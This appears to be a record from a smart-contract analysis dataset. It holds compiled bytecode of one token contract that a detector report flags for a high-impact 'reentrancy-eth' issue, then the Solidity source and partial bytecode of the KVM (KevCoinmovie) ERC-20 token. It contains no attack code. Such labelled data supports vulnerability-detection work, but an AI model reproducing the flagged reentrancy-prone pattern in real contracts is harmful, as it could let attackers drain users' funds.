9adc5dea00000601581905550683635c9adc5dea00000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f47414e4700000000000000000000000000000000000000000000000000000000815250905090565b600061103261102b61176c565b848461193d565b6001905092915050565b61104461176c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c890612f81565b60405180910390fd5b600081116110de57600080fd5b61110d60646110ff83683635c9adc5dea00000611f4790919063ffffffff16565b611fc190919063ffffffff16565b60168190555050565b61111e61176c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a490612f81565b60405180910390fd5b60006111b830610d5d565b90506111c3816120e5565b50565b6111ce61176c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461125b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125290612f81565b60405180910390fd5b60148054906101000a900460ff16156112a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a0906130e9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061133930601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611774565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611384573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a8919061311e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561140f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611433919061311e565b6040518363ffffffff1660e01b815260040161145092919061314b565b6020604051808303816000875af115801561146f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611493919061311e565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061151c30610d5d565b600080611527610fb8565b426040518863ffffffff1660e01b8152600401611549969594939291906131b9565b60606040518083038185885af1158015611567573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061158c919061322f565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff0219169083151502179055506801a055690d9db800006015819055506802b5e3af16b188000060168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161169e929190613282565b6020604051808303816000875af11580156116bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e191906132c0565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117da9061335f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611852576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611849906133f1565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119309190612be2565b60405180910390a3505050565b60008111611980576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197790613483565b60405180910390fd5b6001601460186101000a81548160ff0219169083151502179055506119a3610fb8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a1157506119e1610fb8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ed357601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ac15750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b175750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b2f5750601460179054906101000a900460ff165b15611b9c57601554811115611b4357600080fd5b60165481611b5084610d5d565b611b5a9190612fd0565b1115611b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b92906134ef565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c445750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c9d5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d6b57600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d465750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d4f57600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611d7630610d5d565b9050611dca6064611dbc601254611dae601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d5d565b611f4790919063ffffffff16565b611fc190919063ffffffff16565b811115611e2657611e236064611e15601254611e07601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d5d565b611f4790919063ffffffff16565b611fc190919063ffffffff16565b90505b601460159054906101000a900460ff16158015611e915750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ea95750601460169054906101000a900460ff165b15611ed157611eb7816120e5565b60004790506000811115611ecf57611ece4761200b565b5b505b505b611ede83838361235e565b505050565b6000838311158290611f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f229190612a2c565b60405180910390fd5b5060008385611f3a919061350f565b9050809150509392505050565b6000808303611f595760009050611fbb565b60008284611f679190613543565b9050828482611f7691906135cc565b14611fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fad9061366f565b60405180910390fd5b809150505b92915050565b600061200383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061236e565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612073573d6000803e3d6000fd5b5050565b60006009548211156120be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b590613701565b60405180910390fd5b60006120c86123d1565b90506120dd8184611fc190919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561211d5761211c612c02565b5b60405190808252806020026020018201604052801561214b5781602001602082028036833780820191505090505b509050308160008151811061216357612162613026565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561220a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061222e919061311e565b8160018151811061224257612241613026565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122a930601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611774565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161230d9594939291906137df565b600060405180830381600087803b15801561232757600080fd5b505af115801561233b573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b6123698383836123fc565b505050565b600080831182906123b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ac9190612a2c565b60405180910390fd5b50600083856123c491906135cc565b9050809150509392505050565b60008060006123de6125c7565b915091506123f58183611fc190919063ffffffff16565b9250505090565b60008060008060008061240e87612629565b95509550955095509550955061246c86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126be90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061250185600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270890919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061254d81612766565b6125578483612823565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125b49190612be2565b60405180910390a3505050505050505050565b600080600060095490506000683635c9adc5dea0000090506125fd683635c9adc5dea00000600954611fc190919063ffffffff16565b82101561261c57600954683635c9adc5dea00000935093505050612625565b81819350935050505b9091565b600080600080600080600080600061263f61285d565b61265d576126588a600b60020154600b60030154612874565b612673565b6126728a600b60000154600b60010154612874565b5b92509250925060006126836123d1565b905060008060006126968e87878761290a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061270083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ee3565b905092915050565b60008082846127179190612fd0565b90508381101561275c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161275390613885565b60405180910390fd5b8091505092915050565b60006127706123d1565b905060006127878284611f4790919063ffffffff16565b90506127db81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270890919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612838826009546126be90919063ffffffff16565b60098190555061285381600a5461270890919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b6000806000806128a06064612892888a611f4790919063ffffffff16565b611fc190919063ffffffff16565b905060006128ca60646128bc888b611f4790919063ffffffff16565b611fc190919063ffffffff16565b905060006128f3826128e5858c6126be90919063ffffffff16565b6126be90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806129238589611f4790919063ffffffff16565b9050600061293a8689611f4790919063ffffffff16565b905060006129518789611f4790919063ffffffff16565b9050600061297a8261296c85876126be90919063ffffffff16565b6126be90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156129cd5780820151818401526020810190506129b2565b838111156129dc576000848401525b50505050565b6000601f19601f8301169050919050565b60006129fe82612993565b612a08818561299e565b9350612a188185602086016129af565b612a21816129e2565b840191505092915050565b60006020820190508181036000830152612a4681846129f3565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a8d82612a62565b9050919050565b612a9d81612a82565b8114612aa857600080fd5b50565b600081359050612aba81612a94565b92915050565b6000819050919050565b612ad381612ac0565b8114612ade57600080fd5b50565b600081359050612af081612aca565b92915050565b60008060408385031215612b0d57612b0c612a58565b5b6000612b1b85828601612aab565b9250506020612b2c85828601612ae1565b9150509250929050565b60008115159050919050565b612b4b81612b36565b82525050565b6000602082019050612b666000830184612b42565b92915050565b60008060008060808587031215612b8657612b85612a58565b5b6000612b9487828801612ae1565b9450506020612ba587828801612ae1565b9350506040612bb687828801612ae1565b9250506060612bc787828801612ae1565b91505092959194509250565b612bdc81612ac0565b82525050565b6000602082019050612bf76000830184612bd3565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c3a826129e2565b810181811067ffffffffffffffff82111715612c5957612c58612c02565b5b80604052505050565b6000612c6c612a4e565b9050612c788282612c31565b919050565b600067ffffffffffffffff821115612c9857612c97612c02565b5b602082029050602081019050919050565b600080fd5b6000612cc1612cbc84612c7d565b612c62565b90508083825260208201905060208402830185811115612ce457612ce3612ca9565b5b835b81811015612d0d5780612cf98882612aab565b845260208401935050602081019050612ce6565b5050509392505050565b600082601f830112612d2c57612d2b612bfd565b5b8135612d3c848260208601612cae565b91505092915050565b600060208284031215612d5b57612d5a612a58565b5b600082013567ffffffffffffffff811115612d7957612d78612a5d565b5b612d8584828501612d17565b91505092915050565b600080600060608486031215612da757612da6612a58565b5b6000612db586828701612aab565b9350506020612dc686828701612aab565b9250506040612dd786828701612ae1565b9150509250925092565b600060208284031215612df757612df6612a58565b5b6000612e0584828501612aab565b91505092915050565b600060ff82169050919050565b612e2481612e0e565b82525050565b6000602082019050612e3f6000830184612e1b565b92915050565b600060208284031215612e5b57612e5a612a58565b5b6000612e6984828501612ae1565b91505092915050565b612e7b81612b36565b8114612e8657600080fd5b50565b600081359050612e9881612e72565b92915050565b600060208284031215612eb457612eb3612a58565b5b6000612ec284828501612e89565b91505092915050565b612ed481612a82565b82525050565b6000602082019050612eef6000830184612ecb565b92915050565b60008060408385031215612f0c57612f0b612a58565b5b6000612f1a85828601612aab565b9250506020612f2b85828601612aab565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f6b60208361299e565b9150612f7682612f35565b602082019050919050565b60006020820190508181036000830152612f9a81612f5e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612fdb82612ac0565b9150612fe683612ac0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561301b5761301a612fa1565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061306082612ac0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361309257613091612fa1565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006130d360178361299e565b91506130de8261309d565b602082019050919050565b60006020820190508181036000830152613102816130c6565b9050919050565b60008151905061311881612a94565b92915050565b60006020828403121561313457613133612a58565b5b600061314284828501613109565b91505092915050565b60006040820190506131606000830185612ecb565b61316d6020830184612ecb565b9392505050565b6000819050919050565b6000819050919050565b60006131a361319e61319984613174565b61317e565b612ac0565b9050919050565b6131b381613188565b82525050565b600060c0820190506131ce6000830189612ecb565b6131db6020830188612bd3565b6131e860408301876131aa565b6131f560608301866131aa565b6132026080830185612ecb565b61320f60a0830184612bd3565b979650505050505050565b60008151905061322981612aca565b92915050565b60008060006060848603121561324857613247612a58565b5b60006132568682870161321a565b93505060206132678682870161321a565b92505060406132788682870161321a565b9150509250925092565b60006040820190506132976000830185612ecb565b6132a46020830184612bd3565b9392505050565b6000815190506132ba81612e72565b92915050565b6000602082840312156132d6576132d5612a58565b5b60006132e4848285016132ab565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061334960248361299e565b9150613354826132ed565b604082019050919050565b600060208201905081810360008301526133788161333c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006133db60228361299e565b91506133e68261337f565b604082019050919050565b6000602082019050818103600083015261340a816133ce565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061346d60298361299e565b915061347882613411565b604082019050919050565b6000602082019050818103600083015261349c81613460565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006134d9601a8361299e565b91506134e4826134a3565b602082019050919050565b60006020820190508181036000830152613508816134cc565b9050919050565b600061351a82612ac0565b915061352583612ac0565b92508282101561353857613537612fa1565b5b828203905092915050565b600061354e82612ac0565b915061355983612ac0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561359257613591612fa1565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006135d782612ac0565b91506135e283612ac0565b9250826135f2576135f161359d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061365960218361299e565b9150613664826135fd565b604082019050919050565b600060208201905081810360008301526136888161364c565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006136eb602a8361299e565b91506136f68261368f565b604082019050919050565b6000602082019050818103600083015261371a816136de565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61375681612a82565b82525050565b6000613768838361374d565b60208301905092915050565b6000602082019050919050565b600061378c82613721565b613796818561372c565b93506137a18361373d565b8060005b838110156137d25781516137b9888261375c565b97506137c483613774565b9250506001810190506137a5565b5085935050505092915050565b600060a0820190506137f46000830188612bd3565b61380160208301876131aa565b81810360408301526138138186613781565b90506138226060830185612ecb565b61382f6080830184612bd3565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061386f601b8361299e565b915061387a82613839565b602082019050919050565b6000602082019050818103600083015261389e81613862565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122068987ca3c721388a37c17c629275c8e05c2c200b013c6b145a4c53f70275a1e964736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,544 |
0x0ff37b200b0bbcedf5292bb02e7fb0140c32249a
|
pragma solidity ^0.4.24;
/*
* Creator: KVM (KevCoinmovie)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* KVM token smart contract.
*/
contract KVMToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 25000000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function KVMToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "KevCoinmovie";
string constant public symbol = "KVM";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100da5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630150246081146100df57806306fdde03146100f6578063095ea7b31461018057806313af4035146101b857806318160ddd146101d957806323b872dd14610200578063313ce5671461022a57806331c420d41461025557806370a082311461026a5780637e1f2bb81461028b57806389519c50146102a357806395d89b41146102cd578063a9059cbb146102e2578063dd62ed3e14610306578063e724529c1461032d575b600080fd5b3480156100eb57600080fd5b506100f4610353565b005b34801561010257600080fd5b5061010b6103af565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014557818101518382015260200161012d565b50505050905090810190601f1680156101725780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018c57600080fd5b506101a4600160a060020a03600435166024356103e6565b604080519115158252519081900360200190f35b3480156101c457600080fd5b506100f4600160a060020a036004351661041a565b3480156101e557600080fd5b506101ee610460565b60408051918252519081900360200190f35b34801561020c57600080fd5b506101a4600160a060020a0360043581169060243516604435610466565b34801561023657600080fd5b5061023f6104b4565b6040805160ff9092168252519081900360200190f35b34801561026157600080fd5b506100f46104b9565b34801561027657600080fd5b506101ee600160a060020a0360043516610510565b34801561029757600080fd5b506101a460043561052f565b3480156102af57600080fd5b506100f4600160a060020a03600435811690602435166044356105fb565b3480156102d957600080fd5b5061010b610714565b3480156102ee57600080fd5b506101a4600160a060020a036004351660243561074b565b34801561031257600080fd5b506101ee600160a060020a036004358116906024351661078c565b34801561033957600080fd5b506100f4600160a060020a036004351660243515156107b7565b600254600160a060020a0316331461036a57600080fd5b60055460ff1615156103ad576005805460ff191660011790556040517f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de90600090a15b565b60408051808201909152600c81527f4b6576436f696e6d6f7669650000000000000000000000000000000000000000602082015281565b60006103f2338461078c565b15806103fc575081155b151561040757600080fd5b6104118383610848565b90505b92915050565b600254600160a060020a0316331461043157600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60045490565b600160a060020a03831660009081526003602052604081205460ff161561048c57600080fd5b60055460ff161561049f575060006104ad565b6104aa8484846108ae565b90505b9392505050565b601281565b600254600160a060020a031633146104d057600080fd5b60055460ff16156103ad576005805460ff191690556040517f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded90600090a1565b600160a060020a0381166000908152602081905260409020545b919050565b600254600090600160a060020a0316331461054957600080fd5b60008211156105f35761056a6b50c783eb9b5c85f2a8000000600454610a4d565b8211156105